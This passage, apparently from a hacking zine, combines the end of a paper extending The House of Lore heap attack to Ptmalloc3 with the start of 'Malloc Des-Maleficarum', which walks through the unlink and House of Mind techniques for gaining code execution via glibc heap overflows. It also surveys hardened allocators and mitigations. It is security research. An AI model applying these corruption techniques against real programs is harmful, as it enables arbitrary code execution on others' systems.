case). 

 

We saw the "magic" parameter at the beginning of section 4, which is  

present in all malloc_state structures and the way in which it is  

calculated. The reason why "prev_size" now is named as "prev_foot" if that  

if FOOTERS is defined, then this field is used to store the result of a XOR 

operation between the mstate belonging to the chunk and the magic value  

recently calculated. This is done with: 
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/* Set foot of inuse chunk to be xor of mstate and seed */ 

#define mark_inuse_foot(M,p,s)\ 

 (((mchunkptr)((char*)(p)+(s)))->prev_foot = ((size_t)(M) ^ mparams.magic)) 

 

 

XOR, as always, remains being a symmetric encryption that allows, at the  

same time, saving the malloc_state address and establishing a kind of  

cookie to prevent a possible attack whenever altered. This mstate is  

obtained with the following macro: 

 

 

#define get_mstate_for(p)\ 

  ((mstate)(((mchunkptr)((char*)(p) +\ 

    (chunksize(p))))->prev_foot ^ mparams.magic)) 

 

 

For example, at the beginning of the "mspaces_free( )" function which is  

called by the wrapper free( ), is started in this way: 

 

 

   #if FOOTERS 

       mstate fm = get_mstate_for(p); 

   #else /* FOOTERS */ 

       mstate fm = (mstate)msp; 

   #endif /* FOOTERS */ 

       if (!ok_magic(fm)) { 

         USAGE_ERROR_ACTION(fm, p); 

         return; 

       } 

 

 

If we corrupt the header of an allocated chunk (and therefore the prev_foot 

field). When the chunk was freed, get_mstate_for( ) will return an  

erroneous arena. At this moment ok_magic( ) will test the "magic" value of  

that area and it will abort the application. 

 

Moreover, one must be aware that the current flow could be broken even 

before the USAGE_ERROR_ACTION( ) call if the reading of fm->magic causes a  

segmentation fault due to wrong value obtained by get_mstate_for( ). 

 

How to deal with this cookie and the probability analysis in order to 

predict its value at runtime is an old issue, and we will not talk more 

here about it. Though one could remember the PaX case, perhaps an  

overwritten pointer can point beyond the "size" field of a chunk, and  

through a future STRxxx( ) or MEMxxx( ) call, crush their data without have 

altered "prev_foot". Skape made an excellent job in his "Reducing the  

effective entropy of gs cookies" [4] for the Windows platform. It could  

give you some fantastic ideas to apply. Who knows, it all depends on the  

vulnerability and inherent requirements of the tested application.  

 

What is the advantage of THoL according to this protection? It is very  

clear, the target chunk is corrupted after its release, and therefore the  

integrity checks are passed. 

 

Anyway, there should be ways to mitigate these kinds of problems, to start, 

if we all know that no memory allocation should proceed belonging to a  

stack location, one could implement something as simple as this: 

 

#define STACK_ADDR 0xbff00000 

 

#define ok_address(M, a) (((char*)(a) >= (M)->least_addr)\ 
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     && ((a) <= STACK_ADDR)) 

 

 

and the application is aborted before getting a successful exploitation. 

Also a check as ((a) >> 20) == 0xbff) should be effective. It is only an 

example, the relative stack position could be very different in your  

system, it is a very restrictive protection. 

 

Anyone who read the source code base has probably noticed that Ptmalloc3's 

unlink...( ) macros omit the classic tests that implanted in glibc to check 

the double linked list. We do not consider this because we know that a real 

implementation would take it into account and should add this integrity  

check. However, I can not perform a more detailed stud until someone  

decides in a future that glibc will be based on Ptmalloc3. 

 

The conclusion of this overview is that some of the techniques detailed in 

the Maleficarum & Des-Maleficarum papers are not reliable in Ptmalloc3. One 

of them, for example, is The House of Force. Remember that it needs both to  

overwrite the "size" field of the wilderness chunk and a request with a  

user-defined size. This was possible partly in Ptmalloc2 because the size  

of the top chunk was read in this way: 

 

 

    victim = av->top; 

    size = chunksize(victim); 

 

 

Unfortunately, now Ptmalloc3 saves this value in the "malloc_state" and  

reads it directly with this: 

 

 

   size_t rsize = (g)m->topsize // gm for dlmalloc( ), m for  

                                // mspace_malloc( ) 

 

 

In any case, it is worth recalling one of the comments present at the  

beginning of "malloc.c": 

 

     "This is only one aspect of security -- these checks do not, 

      and cannot, detect all possible programming errors". 

 

 

 

               << Programming without an overall architecture 

                  or design in mind is like exploring a cave 

                  with only a flashlight: You don't know where 

                  you've been, you don't know where you're going, 

                  and you don't know quite where you are. >> 

 

                                                 [ Danny Thorpe ] 

 

 

 

               .-----------------------------------. 

---[ 4.3.1 ---[   Secure Heap Allocator (Utopian)   ]--- 

               .-----------------------------------. 

 

First, there is no way to create a "heap allocator" totally secure, it's 

impossible (note: you can design the most secure allocator in the world but 

if it's too slow => it's no use). To begin with, and the main rule (which 

is fairly obvious), implies that the control structures or more simply, 
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headers, can not be located being adjacent to the data. Create a macro that 

adds 8 bytes to the address of a header for direct access to data is very 

simple, but has never been a safe option. 

 

However, although this problem will be solved, still others thought to 

corrupt the data of another allocated chunk is not useful if it not allows 

arbitrary code execution, but and if these buffers contain data whose 

integrity has to be guaranteed (financial information, others...)? 

 

Then we came to the point in which it is essential the use cookies between  

the fragments of memory assigned. It obviously has side effects. The most 

efficient would be that this cookie (say 4 bytes) will be the last 4 bytes 

of each allocated chunk, with the target of preserve the alignment, since 

that put them between two  chunks required a more complicated and possibly 

slower management. 

 

Besides this, we could also take ideas from "Electric Fence - Red-Zone 

memory allocator" by Bruce Perens [5]. His protection ideas are: 

 

 

   - Anti Double Frees: 

 

 if ( slot->mode != ALLOCATED ) { 

   if ( internalUse && slot->mode == INTERNAL_USE ) 

   ..... 

  else { 

   EF_Abort("free(%a): freeing free memory.",address); 

 

   - Free unallocated space (EFense maintains an array of addresses 

     of chunks allocated (slots) ): 

 

 slot = slotForUserAddress(address); 

 if ( !slot ) 

  EF_Abort("free(%a): address not from malloc().", address); 

 

 

Other implementations of dynamic memory management that we should take into 

account: Jemalloc on FreeBSD [6] and Guard Malloc for Mac OS X [7]. 

 

The first is specially designed for concurrent systems. We talked about 

management of multiple threads on multiple processors, and how to achieve  

this efficiently, without affecting system performance, and getting better  

times in comparison with other memory managers. 

 

The second, to take one example, use the pagination and its mechanism of 

protection in a very clever way. Extracted directly from the manpage, we  

read the core of his method: 

 

   "Each malloc allocation is placed on its own virtual memory page, with  

    the end of the buffer at the end of the page's memory, and the next  

    page is kept unallocated. As a result, accesses beyond the end of the  

    buffer cause a bus error immediately. When memory is freed, libgmalloc  

    deallocates its virtual memory, causing reads or writes to the freed  

    buffer cause a bus error." 

 

Note: That's a really interesting idea but you should take into account the 

fact that such a technic is not _that_ effective because if would sacrifice 

a lot of memory. It would induce a PAGE_SIZE (4096 bytes is a common value, 

or getpagesize( ) ;) allocation for a small chunk. 

 

In my opinion, I do not see Guard Malloc as a memory manager of routine  
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use, but rather as an implementation with which to compile your programs in 

the early stages of development/debugging. 

 

However, Guard Malloc is a highly user-configurable library. For example, 

you could allow through an specific environment variable  

(MALLOC_ALLOW_READS) to read past an allocated buffer. This is done by  

setting the following virtual page as Read-Only. If this variable is  

enabled along with other specific environment variable  

(MALLOC_PROTECT_BEFORE), you can read the previous virtual page. And still  

more, if MALLOC_PROTECT_BEFORE is enabled without MALLOC_ALLOW_READS buffer 

underflow can be detected. But this is something that you can read in the  

official documentation, and it's needless to say more here. 

 

 

 

               << When debugging, novices insert corrective 

                  code; experts remove defective code. >> 

 

                                         [ Richard Pattis ] 

 

 

 

               .------------. 
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---[ 4.3.2 ---[   dnmalloc   ]--- 

               .------------. 

 

This implementation (DistriNet malloc) [10] is like the most modern  

systems: code and data are loaded into separate memory locations, dnmalloc  

applies the same to chunk and chunk information which are stored in  

separate contiguous memory protected by guard pages. A hashtable which  

contains pointers to a linked list of chunk information accessed through  

the hash function is used to associate chunks with the chunks information. 

[12] 

 

Memory with dnmalloc: 

 

        .---------------. 

        |  .text        | 

        .---------------. 

        |  .data        | 

        .---------------. 

           ...         

        .---------------. 

        |  Chunks        | 

        .---------------. 

            .. 

            || 

            ||   

            \/ 

         

            /\ 

            ||  

            || 

            .. 

        .--------------------. 

        |  Memory Page       | <- This Page is not writable 

        .--------------------.  

        |  Chunk Information | 

        .--------------------. 

        |  The Hash Table    | 

        .--------------------.  

        |  Memory Page       |  

        .--------------------.  

        |  The Stack         | <- This Page is not writable 

        .--------------------. 

 

The way to find the chunk information: 

 

1.- Address of the chunk - Start address of the heap = *Result* 

 

2.- To get the entry in the Hash Table: shift *Result* 7 bits to the right. 

 

3.- Go over the linked list till it have the correct chunk. 

 

 .-------------------------------------. 

 |           The Hash Table            | 

 . ................................... .  

 |  Pointers to each Chunk Information | --> Chunk Information (Hash Next  

 .-------------------------------------.     to the next Chunk Information) 

 

The manipulation of the Chunk Information: 

 

1.- A fixed area is mapped below the Hash table for the Chunks Information. 
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2.- Free Chunk Information are stored in a linked list. 

 

3.- When a new Chunk Information is needed the first element in the free  

    list is used. 

 

4.- If none are free a Chunk is allocated from the map. 

 

5.- If the map is empty It maps extra memory for it (and move the guard  

    page). 

 

6.- Chunk information is protected by guard pages. 

 

 

 

               << Passwords are like underwear: you don't let 

                  people see it, you should change it very often, 

                  and you shouldn't share it with strangers. >> 

 

                                                [ Chris Pirillo ]  

 

 

 

               .------------------. 

---[ 4.3.3 ---[   OpenBSD malloc   ]--- 

               .------------------. 

 

This implementation [11] [13] have the design goals: simple, unpredictable, 

fast, less metadata space overhead, robust for example freeing of a bogus  

pointer or a double free should be detected ...  

 

About the Metadata: keep track of mmaped regions by storing their address  

and size into a hash table, keep existing data structure for chunk  

allocations, a free region cache with a fixed number of slots: 

 

Free regions cache 

 

1.- Regions freed are kept for later reuse 

 

2.- Large regions are unmapped directly 

 

3.- If the number of pages cached gets too large, unmap some. 

 

4.- Randomized search for fitting region, so region reuse is less 

    predictable 

 

5.- Optionally, pages in the cache are marked PROT_NONE 

 

 

 

               << Getting information off the Internet is 

                  like taking a drink from a fire hydrant. >> 

 

                                           [ Mitchell Kapor ] 

 

 

 

           .-----------------------------. 

---[ 5 ---[   Miscellany, ASLR and More   ]--- 

           .-----------------------------. 

 

We already mentioned something about ASLR and Non Exec Heap in the Malloc 
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Des-Maleficarum paper. Now we do the same with the method we have studied. 

 

For the purposes of this technique, I considered disabled the ASLR in all 

examples of this article. If this protection was enabled in real life then 

randomization only affects to the position of the final fake chunk in the 

stack and our ability to predict a memory address close enough to a saved 

return address that can be overwritten. This should not be an utterly  

impossible task, and we consider that the bruteforce is always a  

possibility that we will have a hand in most restrictive situations. 

 

Obviously, the non-exec heap does not affect the techniques described in 

this paper, as one might place a shellcode in any elsewhere, although we 

warn that if the heap is not executable it is very likely that the stack  

will not be either. Therefore one should use a ret2libc style attack or  

return into mprotect( ) to avoid this protection. 

 

This is an old theme, and each will know how to analyze problems underlying 

the system attacked. 

 

Unfortunately, I do not show a real-life exploit here. But we can talk a  

bit about the reliability and potential of success when we are studying a 

vulnerability in the wild. 

 

The preconditions are clear, this has been seen repeatedly throughout of 

this article. The obvious difference between the PoC's that I presented  

here and the applications you use every day (as well as email clients, or 

web browsers), is that one can not predict in a first chance the current  

state of the heap. And this is really a problem, because while this is not  

in a fairly stable and predictable state, the chances of exploiting will be 

minimal. 

 

But very high-level hackers have already met once this class of problems, 

and over time have been designing and developing a series of techniques 

which allow reordering the heap so that both, the position of the allocated 

chunks as the data contained within them, are parameters controlled by the 

user. Among these techniques, we must appoint two best known: 

 

   - Heap Spray 

   - Heap Feng Shui 

 

You can read something about them in the following paper presented at the 

BlackHat 2007 [8]. In short we can say that the "Heap Spray" technique 

simply fill in the heap as far as possible by requesting large amount of 

memory placing there repetitions of nop sleds and the opportune shellcode, 

then just simply find a predictable memory address for the "primitive  

4-byte overwrite". A very clever idea in this technique is to make the nop  

sled values equal to the selected address, so that it will be  

self-referential. 

 

Feng Shui is a much more elaborate technique, it first tries to defragment  

the Heap by filling the holes. Then it comes back to create holes in the 

upper controlled zone so that the memory remains as: 

 

   [ chunk | hole | chunk | hole | chunk | hole | chunk ] 

 

... and finally tries to create the buffer to overflow in one of these  

holes, knowing that this will always be adjacent to one of its buffers  

containing information controlled by the exploiter. 

 

We will not talk about it more here. Just say that although some of these 

methodologies may seem time consuming and fatigue making, without them 
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nobody could create reliable exploits, or obtain success in most of the 

attempts. 

 

 

 

               << Programming today is a race between software 

                  engineers striving to build bigger and better 

                  idiot-proof programs, and the Universe trying 

                  to produce bigger and better idiots. So far, 

                  the Universe is winning. >> 

 

                                                  [ Rich Cook ] 

 

 

 

           .---------------. 

---[ 6 ---[   Conclusions   ]--- 

           .---------------. 

 

In this article we have seen how The House of Lore hid inside of itself a 

power much greater than we imagined. We also presented a fun example  

showing that, despite not being vulnerable to all the techniques we knew so 

far, it was still vulnerable to one that until now had only been described 

theoretically. 

 

We detail a second method of attack also based on the corruption of a  

largebin, this attack could be an alternative in some circumstances and  

should be as important as the main method of the smallbin  corruption. 

 

Finally we detailed a way to apply THoL in version 3 of the Ptmalloc  

library, which many thought was not vulnerable to attacks due to the  

imposition of numerous restrictions. 

 

Reviewing and analyzing in depth some of the security mechanisms that have 

been implanted in this library, allowed to find that further studies will  

be needed to discover new vulnerabilities and areas of code that can be  

manipulated for personal fun and profit. 

 

If you want a tip from mine on how to improve your hacking, here goes: 

 

Reads everything, study everything... then forget it all and do it  

differently, do it better. Fill your cup, empty your cup and fill it again  

with fresh water. 

 

Finally, I would like to recall that I said the following in my "Malloc 

Des-Maleficarum" paper: 

 

     "...and The House of Lore, although not very suitable for a 

      credible case, no one can say that is a complete exception..." 

 

With this new article I hope I have changed the meaning of my words, and 

shown that sometimes in hacking you make mistakes, but never stop to  

investigate and repair your errors. Everything we do is for fun, and we  

will do it as long as we exist on the land and cyberspace. 

 

 

 

               << All truths are easy to understand 

                  once they are discovered; 

                  the point is to discover them. >> 
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                                [ Galileo Galilei ] 
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           .----------------. 

---[ 9 ---[   Wargame Code   ]--- 

           .----------------. 

 

In this last section we attach the same program "agents.c" that we saw 

above but adapted to network environment so that it can be feasible to use  

in a servers exploitation wargame. At the same time the code is a bit more  

elaborate and robust. 

 

As usual, "netagents.c" forks a child process (fork) for each connection  

made to it, and as each new process has its own heap, each attacker can  

confront the vulnerability based on zero. The actions of one not influence 

to others. 

 

The code should be adapted according to the needs of the manager conducting 

or developing the wargame (as well as the number of allowed incoming  

connections or debugging information you want to give to the attacker if  

the game becomes very difficult). 

 

The attached archive includes a makefile which assumes that in the same 

directory as the source is the compiled library ptmalloc2 (libmalloc.a) to  

be linked with netagents.c. Each should adapt "malloc.c" to print the  

information it deems necessary, but the basics would be the changes that  

have been made throughout this article, which allows the attacker to know 

from where they extract the chunks of memory requested. 

 

How the attacker obtains the output of these changes? For simplicity, 

"netagents.c" prevents calls to send( ) by closing the standard output  

(stdout) and duplicating it with the recent obtained client socket  

(dup(CustomerID)). We use the same trick as the shellcodes expected. 

 

"netagents.c" also includes a new menu option, "Show Heap State", in order  

to see the state of the memory chunks that are being allocated or released  

during its execution, this allows you to see if the head of any free chunk  

has been overwritten. After some legal moves, a normal output would be  

this: 

 

  



[2. The House Of Lore: Reloaded - blackngel] 

 

  Page 
98 

 
  

 

 +--------------------------------+                                                      

 |    Allocated Chunk (0x8093004) | -> Agents[0]                                         

 +--------------------------------+                                                      

 |   SIZE      =    0x00000019    |                                                      

 +--------------------------------+                                                      

 

 +--------------------------------+ 

 |    Allocated Chunk (0x809301c) | -> Agents[1] 

 +--------------------------------+              

 |   SIZE      =    0x00000019    |              

 +--------------------------------+              

 

 +--------------------------------+ 

 |    Allocated Chunk (0x8093034) | -> Agents[1]->name 

 +--------------------------------+                    

 |   SIZE      =    0x00000029    |                    

 +--------------------------------+                    

 

 +--------------------------------+ 

 |      Free Chunk (0x8093058)    | -> Agents[1]->lastname 

 +--------------------------------+                        

 |   PREV_SIZE  =   0x00000000    |                        

 +--------------------------------+                        

 |   SIZE       =   0x00000089    |                        

 +--------------------------------+                        

 |   FD         =   0x08050168    |                        

 +--------------------------------+                        

 |   BK         =   0x08050168    | 

 +--------------------------------+ 

 

 +--------------------------------+ 

 |    Allocated Chunk (0x80930e4) | -> Agents[1]->desc 

 +--------------------------------+ 

 |   SIZE      =    0x00000108    | 

 +--------------------------------+ 

 

 

Following the example of the perl exploit presented in 2.2.2, one might  

design an exploit in C with a child process continually receiving responses 

from the server (menus and prompts), and the father answering these  

questions with a pause, for example one second each answer (if you know  

what to respond to work that program ...). The difficult task is to predict 

the addresses on the stack, which in the last phase of the attack, the last 

reserved chunk should match the frame created by "edit_lastname( )" since  

that it is where we overwrite the saved return address and where the  

program probably will break (it is obvious that ASLR enabled suppose a new  

complexity to overcome). 

 

What happens with failed attempts and segmentation failures? The program  

captures SIGSEGV and informs the attacker that something bad has happened  

and encourages him to connect again. The child process is the only that  

becomes unstable and thus a new connection leaves everything clean for a  

new attack. 

 

The latest aid that one could provide to the attacker is to deliver the  

source code, so this could be adapted to study the vulnerability in local,  

and then carry his attack to the network environment. 
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---[ END INDEX 

 

 

          "Traduitori son tratori" 

 

 

           ----------------- 

---[ 1 ---[   THE HISTORY   ]--- 

           ----------------- 

 

On August 11, 2001, two papers were released in that same magazine and 

they went to demonstrate a new advance in the vulnerabilities exploitation 

world.  MaXX wrote in his "Vudo malloc tricks" paper [1], the basic 

implementation and algorithms of GNU C Library, Doug Lea's malloc(), and 

he presented to the public various methods that be able to trigger 

arbitrary code execution through heap overflows. At the same time, he 

showed a real-life exploit of the "Sudo" application. 

 

In the same number of Phrack, an anonymous person released other article, 

titled "Once upon a free()" [2]. Its main goal was explain the System V 

malloc implementation. 

 

On August 13, 2003, "jp <jp@corest.com>" developed of a way more advanced 

the skills initiated in the previous texts. His article, called "Advanced 

Doug Lea's malloc exploits" [3], maybe out the biggest support to what it 

was for coming... 

 

The skills published in the first one of the articles, showed: 

 

- unlink () method. 

- frontlink () method. 

 

... these methods were applicable until the year 2004, when the GLIBC 

library was patched so those methods did not work.  

 

But not everything was said with regard to this topic. On October 11 of  

2005, Phantasmal Phantasmagoria was publishing on the "bugtraq" mailing 

list an article which name provokes a deep mystery: "Malloc Maleficarum" 

[4]. 

 

The name of the article was a variation of an ancient text  

 called "Malleus Maleficarum" (The Hammer of the Witches)... 

 

Phantasmal also was the author of the fantastic article "Exploiting the  

Wilderness" [5], the chunk most afraid (at first) by the heap's lovers. 

 

Malloc Maleficarum was a completely theoretical presentation of what could 

become the new skills of exploitation with regard to topic of the heap 

overflows. His author split each one of the skills titling them of the 

following way: 

 

   The House of Prime 

   The House of Mind  

   The House of Force  

   The House of Lore  

   The House of Spirit  

   The House of Chaos (conclusion)  

 

And certainly, it was the revolution that open again the minds when the 

doors had been closed. 
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The only one fault of this article is that it was not showing any 

proof of concept that demonstrated that each and every one of the 

skills were possible. 

 

Probably, the implementations stayed in the "background", or maybe in 

closed circles. 

 

On January 1, 2007, in the electronic magazine ".aware EZine Alpha", 

K-sPecial published an article simply called "The House of Mind" [6]. 

This one come to declaring in first instance the lacking small 

fault of Phantasmal's article.  

 

On the other hand, he solved it presenting a proof of concept continued  

with its correspondent exploit. 

 

Also, K-sPecial's paper was bringing to the light a couple of shades in  

which Phantasmal had missed in his interpretation of the Houses skills. 

 

Finally, on May 25, 2007, g463 published in Phrack an article called: 

"The use of set_head to defeat the wilderness." [7] g463 described how to 

obtain a "write almost 4 arbitrary bytes to almost anywhere" primitive 

by exploiting an existing bug in the file (1) utility. This is the most 

recent advance in heap overflows. 

 

 

 

              << En todas las actividades es saludable, de vez 

                 en cuando, poner un signo de interrogacion 

                 sobre aquellas cosas que por mucho tiempo se 

                 han dado como seguras. >> 

 

                                          [ Bertrand Russell ] 

 

 

 

           ------------------ 

---[ 2 ---[   INTRODUCTION   ]--- 

           ------------------ 

 

We could to define this paper as "The Practical Guide of the Malloc  

Maleficarum". And exactly, our main goal is demythologize the majority 

of the methods described in this paper through practical examples (so 

much the vulnerable programs as its associated exploits). 

 

On the other hand, and very importantly, certain mistakes were trying to 

be corrected that were an object of wrong interpretation in Malloc 

Maleficarum. Mistakes that are today more easy to see thanks to the 

enormous work that Phantasmal give us in his moment. He is an adept, a 

"virtual adept" certainly... 

 

It is due to these mistakes that in this article I present new 

contributions to the world of the heap overflow under Linux, introducing 

variations in the skills presented by Phantasmal, and totally new ideas 

that could allow arbitrary code execution by a better way. 

 

In short, you will see in this article: 

 

 - Clean modification of K-sPecial's exploit in The House of Mind. 

 - Implementation renewed of the "fastbin" method in The House of Mind. 

 - Practical implementation of The House of Prime method. 



[3. Malloc des-maleficarum - blackngel] 

 

  Page 
102 

 
  

 - New idea for direct arbitrary code execution in unsorted_chunks() 

   method in The House of Prime. 

 - The House of Spirit practical implementation. 

 - The House of Force practical implementation. 

 - Recapitulation of mistakes in The House of Force theory committed in 

   Malloc Maleficarum. 

 - Theoretical/practical approximation to The House of Lore. 

 

In addition to a general understanding of the implementation of the "Doug 

Lea's malloc" library, I recommend two things: 

 

   1) Read first the article of MaxX [1]. 

   2) Download and read the source code of glibc-2.3.6 [8] 

      (malloc.c and arena.c). 

 

  NOTE: Except for The House of Prime, I had used a x86 Linux distro, 

        on a 2.6.24-23 kernel, with glibc version 2.7, which shows 

        that these techniques are still applicable today. Also, I have 

        check that some of them are availables in 2.8.90. 

 

NOTE 2: The current implementation of malloc is known as "ptmalloc", 

        which is an implementation based on the previous "dlmalloc". 

        Ptmalloc was created by Wolfram Gloger. At present, from glibc 

        2.7 to 2.10 are Ptmalloc2 based. You can obtain more information 

        if you visit [9]. 

 

As there, it would be desirable to have at your side the Phantasmal's 

theory as support to subsequent methods that will be implemented. However, 

the concepts described in this paper should be sufficient for an almost 

complete understanding of the topic. 

 

In this article you will see, through the witches, as there are still 

some ways to go. And we can go together ... 

 

 

 

                   << Lo que conduce y arrastra 

                      al mundo no son las maquinas, 

                      sino las ideas. >> 

 

                                    [ Victor Hugo ] 

 

 

 

           ------------------------ 

---[ 3 ---[   WELCOME TO THE PAST  ]--- 

           ------------------------ 

 

Why does the "unlink()" technique not apply now? 

 

"unlink ()" assumed that if two chunks were allocated in the heap, and 

second was vulnerable to being overwritten through an overflow of first, 

a third fake chunk could be created and so deceive "free ()" to proceed 

to unlink this second chunk and tie with the first. 

 

Unlink was produced with the following code: 

 

   #define unlink( P, BK, FD ) {            \ 

       BK = P->bk;                          \ 

       FD = P->fd;                          \ 

       FD->bk = BK;                         \ 
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       BK->fd = FD;                         \ 

   } 

 

Being P the second chunk, "P->fd" was changed to point to a memory area 

capable of being overwritten (such as .dtors - 12). If "P->bk" then 

pointed to the address of a Shellcode located at memory for an exploiter 

(at ENV or perhaps the same first chunk), then this address would be 

written in the 3rd step of unlink() code, in "FD->bk". Then: 

 

   "FD->bk" = "P->fd" + 12 = ".dtors". 

   ".dtors" -> &(Shellcode) 

 

In fact, when using DTORS, "P->fd" should point to .dtors+4-12 so that 

"FD->bk" point to DTORS_END, to be executed at finish of application. GOT 

is also a good goal, or a function pointer or more things ... 

 

And here started the fun! 

 

By applying the appropriate patches glibc, the macro "unlink()" is shown 

as follows: 

 

   #define unlink(P, BK, FD) {                                            \ 

     FD = P->fd;                                                          \ 

     BK = P->bk;                                                          \ 

     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                \ 

       malloc_printerr (check_action, "corrupted double-linked list", P); \ 

     else {                                                               \ 

       FD->bk = BK;                                                       \ 

       BK->fd = FD;                                                       \ 

     }                                                                    \ 

   } 

 

If "P->fd", pointing to the next chunk (FD), is not modified, then the 

"bk" pointer of FD should point to P. The same is true with the previous 

chunk (BK)... if "P->bk" points to the previous chunk, then the forward 

pointer at BK should point to P. In any other case, mean an error in the 

double linked list and thus the second chunk (P) has been hacked. 

 

And here ended the fun! 

 

 

 

                  << Nuestra tecnica no solo produce artefactos, 

                     esto es, cosas que la naturaleza no produce, 

                     sino tambien las cosas mismas que la naturaleza 

                     produce y dotadas de identica actividad 

                     natural. >> 

 

                                                   [ Xavier Zubiri ] 

 

 

 

           ------------------------ 

---[ 4 ---[   DES-MALEFICARUM...   ]--- 

           ------------------------ 

 

Read carefully what now comes. I just hope that at the end of this paper, 

the witches have completely disappeared. 

 

Or... would it be better that they stay? 
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             ----------------------- 

---[ 4.1 ---[   THE HOUSE OF MIND   ]--- 

             ----------------------- 

 

We will study "The House of Mind" technique here, step by step, so that 

those who start at these boundaries do not find too many problems along 

the path... a path that already may be a little hard. 

 

Neither show is worth a second view / opinion about how develop the 

exploit, which in my case had a small behavioral variation (we will see it 

below). 

 

The understanding of this technique will become much easier if for some 

accident I can demonstrate the ability of know to show the steps in 

certain order, otherwise the mind go from one side to another, but... test 

and play with the technique. 

 

"The House of Mind" is described as perhaps the easiest method or, at 

least, more friendly with respect to what was "unlink()" in its moment of 

glory. 

 

Two variants will be shown. Let's see here the first one: 

 

NOTE 1: Only one call to "free()" is needed to provoke arbitrary code 

        execution. 

 

NOTE 2: From here, we will have always in mind that "free()" is executed 

        on a second chunk that can be overflowed by another chunk that 

        has been allocated before. 

 

According to "malloc.c," a call to "free()" triggers the execution of a 

wrapper (in the jargon "wrapper functions") called "public_fREe()". 

 

Here the relevant code: 

 

   void 

   public_fREe(Void_t* mem) 

   { 

       mstate ar_ptr; 

       mchunkptr p;        /* chunk corresponding to mem */ 

       ... 

       p = mem2chunk(mem); 

       ... 

       ar_ptr = arena_for_chunk(p); 

       ... 

       _int_free(ar_ptr, mem); 

   } 

 

 

A call to "malloc (x)" returns, always that there is still memory 

available, a pointer to the memory area where data can be stored, moved, 

copied, etc. 

 

Imagine for example that: 

 

   "char * ptr = (char *) malloc (512);" 

 

...returns the address "0x0804a008". This address is the "mem" content 

when  "free()" is called. 
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The "mem2chunk(mem)" function returns a pointer to the start address of 

chunk (not the data, but the beginning of the chunk), which in a allocated 

chunk is set to something like: 

 

   &mem - sizeof(size) - sizeof(prev_size) = &mem - 8. 

 

   p = (0x0804a000); 

 

"p" is send to "arena_for_chunk()". As we can read in "arena.c", it 

trigger the following code: 

 

 

   #define HEAP_MAX_SIZE (1024*1024) /* must be a power of two */ 

                    _____________________________________________ 

                   |                                             | 

   #define heap_for_ptr(ptr) \                                   | 

      ((heap_info *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE-1))) | 

                                                                 | 

   #define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)  | 

  __________________|                         ___________________| 

 |                                           | 

 | #define arena_for_chunk(ptr) \            | 

 |___(chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena) 

 

 

As we see, "p" is now "ptr". It is passed "chunk_non_main_arena()" 

which is responsible for checking whether the "size" of this chunk has 

its third least significant bit enabled (NON_MAIN_ARENA = 4h = 100b). 

 

In a unmodified chunk, this function returns "false" and the address of 

"main_arena" will be returned by "arena_for_chunk()". But... fortunately, 

since we can corrupt the "size" field of "p", and enabled NON_MAIN_ARENA 

bit, then we can fool "arena_for_chunk()" to call to "heap_for_ptr(). 

 

We are now in: 

 

   (heap_info *) ((unsigned long)(0x0804a000) & ~(HEAP_MAX_SIZE-1))) 

    

   then: 

 

   (heap_info *) (0x08000000) 

 

We must have in mind that "heap_for_ptr()" is a macro and not a function. 

Then, once more in "arena_for_chunk()" we have: 

 

   (0x08000000)->ar_ptr 

 

"ar_ptr" is the first member of a "heap_info" structure. It is defined 

as you can see: 

 

   typedef struct _heap_info { 

     mstate ar_ptr; /* Arena for this heap. */ 

     struct _heap_info *prev; /* Previous heap. */ 

     size_t size;   /* Current size in bytes. */ 

     size_t pad;    /* Make sure the following data is properly aligned. */ 

   } heap_info; 

 

  

So what you are looking at (0x08000000) the address of an "arena" (it will 

be defined shortly). For now, we can say that at (0x08000000) there isn't 
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any address to point to any "arena", so the application soon will break 

with a segmentation fault. (assuming an ET_EXEC with a base of 0x08048000) 

 

It seems that our move end here. As our first chunk is just behind of the 

second chunk at (0x0804a000) (but not much), this only allows us to 

overwrite forward, preventing us write anything at (0x08000000). 

 

But wait a moment... what happens if we can overwrite a chunk with an 

address like this: (0x081002a0)? 

 

If our first chunk was at (0x0804a000), we can overwrite ahead and put in 

(0x08100000) an arbitrary address (usually the begining of the data of our 

first chunk). 

 

Then "heap_for_ptr(ptr)->ar_ptr" take this address, and... 

 

 

 return heap_for_ptr(ptr)->ar_ptr | ret (0x08100000)->ar_ptr = 0x0804a008 

 -------------------------------- | -------------------------------------- 

 ar_ptr = arena_for_chunk(p);     | ar_ptr = 0x0804a008 

 ...                              | 

 _int_free(ar_ptr, mem);          | _int_free(0x0804a008, 0x081002a0); 

 

 

Think that we can change "ar_ptr" to any value. For example, we can do 

that it points to an environment variable or another place. At this 

address of memory, "_int_free()" expects to find an "arena" structure. 

 

Let's see now ... 

 

    mstate ar_ptr; 

 

"mstate" is actually a real "malloc_state" structure (no comments): 

 

   struct malloc_state { 

     mutex_t mutex; 

     INTERNAL_SIZE_T  max_fast;   /* low 2 bits used as flags */ 

     mfastbinptr      fastbins[NFASTBINS]; 

     mchunkptr        top; 

     mchunkptr        last_remainder; 

     mchunkptr        bins[NBINS * 2]; 

     unsigned int     binmap[BINMAPSIZE]; 

     ... 

     INTERNAL_SIZE_T system_mem; 

     INTERNAL_SIZE_T max_system_mem; 

   }; 

   ... 

   static struct malloc_state main_arena; 

 

Soon it will be helpful to know this. The goal of The House of Mind is to 

ensure that the unsorted_chunks() code is reaached in "_int_free ()": 

 

   void _int_free(mstate av, Void_t* mem) { 

      ..... 

      bck = unsorted_chunks(av); 

      fwd = bck->fd; 

      p->bk = bck; 

      p->fd = fwd; 

      bck->fd = p; 

      fwd->bk = p; 

      ..... 
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   } 

 

This is already beginning to look a bit more to "unlink()". 

 

Now "av" is the value of "ar_ptr" which is supposed to be the beginning 

of an "arena". More... "unsorted_chunks ()," according to Phantasmal 

Phantasmagoria, return the value of "av->bins[0]". If "av" is (0x0804a008) 

(the start of our buffer), and we can write forward, we can control the 

value of bins[0], once past fields: mutex, max_fast, fastbins[] and top. 

This is simple ... 

 

Phantasmal showed us that if we put in av->bins[0] the address of ".dtors" 

minus 8, then, the penultimate sentence write in this  address plus 8, the 

address of the overflow "p". In this address is the "prev_size" field and 

there can place any thing, such as a "JMP", then we can jump to shellcode 

located a little later and you know as follows ... 

 

   p = 0x081002a0 - 8; 

   ... 

   bck = .dtors + 4 - 8 

   ... 

   bck + 8 = DTORS_END = 0x08100298 

 

